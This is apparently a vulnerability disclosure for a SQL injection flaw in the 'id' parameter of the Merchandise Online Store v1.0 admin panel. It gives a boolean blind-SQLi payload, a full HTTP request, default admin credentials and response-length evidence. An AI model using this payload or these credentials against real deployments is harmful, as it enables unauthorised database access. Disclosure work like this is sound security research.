

main

...

bug\_report / vendors / oretnom23 / merchandise-online-store / SQLi-12.md



debug601 Create SQLi-12.md

History

1 contributor

37 lines (25 sloc) | 1.6 KB

...

# Merchandise Online Store v1.0 by oretnom23 has SQL injection

Author: k0xx

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/14887/merchandise-online-store-php-free-source-code.html>

Vulnerability File: /vloggers\_merch/admin/?page=maintenance/manage\_sub\_category&id=

Vulnerability location: /vloggers\_merch/admin/?  
page=maintenance/manage\_sub\_category&id=,id

[+] Payload: /vloggers\_merch/admin/?  
page=maintenance/manage\_sub\_category&id=1%27%20and%20length(database())%20=1  
7--+ // Leak place ---> id

Current database name: vloggers\_merch\_db,length is 17

```
GET /vloggers_merch/admin/?page=maintenance/manage_sub_category&id=1%27%20and%20leng
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
```

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Cookie: PHPSESSID=n23o4bgngdq5q3js6l0a0i6r6k  
Connection: close

When length (database ()) = 16, Content-Length: 26820

The screenshot displays a web browser window with the raw HTTP response visible in the developer tools. The request is a GET to `/vloggers_merch/admin/?page=maintenance/manage_sub_category&id=1%27%20and%20length(database())%20=16--+`. The response is an HTTP/1.1 200 OK from Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7. The Content-Length is 26820. The response body shows the start of an HTML document with a title "Vlogger's Merch Online Shop".

Below the raw response, the web application interface is shown. The URL bar contains the same request. The application is "Vlogger's Merch Online Shop - Admin". The left sidebar shows a navigation menu with options like Dashboard, Merch List, Inventory List, Order List, Featured Merch, Sales Report, Maintenance, Category List, Sub Category List, and Settings. The main content area is titled "Create New Sub Category" and includes a form with fields for "Parent Category", "Sub Category Name", and "Description".

When length (database ()) = 17, Content-Length: 26866

The screenshot displays a web browser window with the raw HTTP response visible in the developer tools. The request is a GET to `/vloggers_merch/admin/?page=maintenance/manage_sub_category&id=1%27%20and%20length(database())%20=17--+`. The response is an HTTP/1.1 200 OK from Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7. The Content-Length is 26866. The response body shows the start of an HTML document with a title "Vlogger's Merch Online Shop".

Below the raw response, the web application interface is shown. The URL bar contains the same request. The application is "Vlogger's Merch Online Shop - Admin". The left sidebar shows a navigation menu with options like Dashboard, Merch List, Inventory List, Order List, Featured Merch, Sales Report, Maintenance, Category List, Sub Category List, and Settings. The main content area is titled "Create New Sub Category" and includes a form with fields for "Parent Category", "Sub Category Name", and "Description".

